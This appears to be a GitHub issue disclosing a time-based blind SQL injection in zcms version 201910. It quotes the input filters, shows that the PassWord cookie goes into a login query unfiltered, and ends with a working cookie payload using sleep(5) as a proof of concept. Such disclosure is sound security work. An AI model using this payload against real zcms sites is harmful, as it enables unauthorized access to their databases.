

New issue

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zcms.ver201910 Blind SQL injection vulnerability based on time #1

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Pandora1m2 commented on Jun 12, 2020Owner

Software download address:

`http://www.zcms.net/download/zcms201910.zip`

Operation environment requirements:

Apache, IIS, etc
PHP4 / PHP5 / PHP7
MySQL 4/5

Here is a global filter at /inc/config.php

```
define('stopwords','select|update|and|or|delete|insert|truncate|char|into|iframe|script|' //line 47
```

At first, you need to register an enterprise account at the website, /reg/userreg.htm
Then, login in at /user/login.php and jump to /user/daohang_company.php

daohang_company.php:

```
include("check.php"); //line 3
```

check.php:

```
$username=nostr($_COOKIE["UserName"]); //line 7  
$rs=query("select id,usersf,lastlogintime from zcms_user where lockuser=0 and username='".$username."' and password='".$_COOKIE["PassWord"]."'"); //line 9
```

Function nostr() at /inc/stopsqlin.php:

```
function nostr($str){  
    $sql_injdata = "','/,\,<,>,select";  
    $sql_inj = explode(",",$sql_injdata);  
    for ($i=0; $i< count($sql_inj); $i++){  
        if (@strpos($str,$sql_inj[$i])!==false){  
            showmsg ("含有非法字符 [".$sql_inj[$i]."] 返回重填");  
        }  
    }  
    return $str; //没有的返回值  
}
```

this Function filter "'", "'", "/", "<", ">", "select", check.php call this Funtion but forget the parameter "password" in the cookies at line 9 (check.php) ,So we can Sql injection in cookies

Poc:

Just login and modify the value of cookie then refresh(F5).

```
url: /user/daohang_company.php  
Cookie:{"Password","e10adc3949ba59abbe56e057f20f883e' && if(1=1,sleep(5),0)---"}  
//e10adc3949ba59abbe56e057f20f883e is the Original cookie after login, don't change it.
```

Assignees
No one assigned

Labels
None yet

Projects
None yet

Milestone
No milestone

Development
No branches or pull requests

1 participant

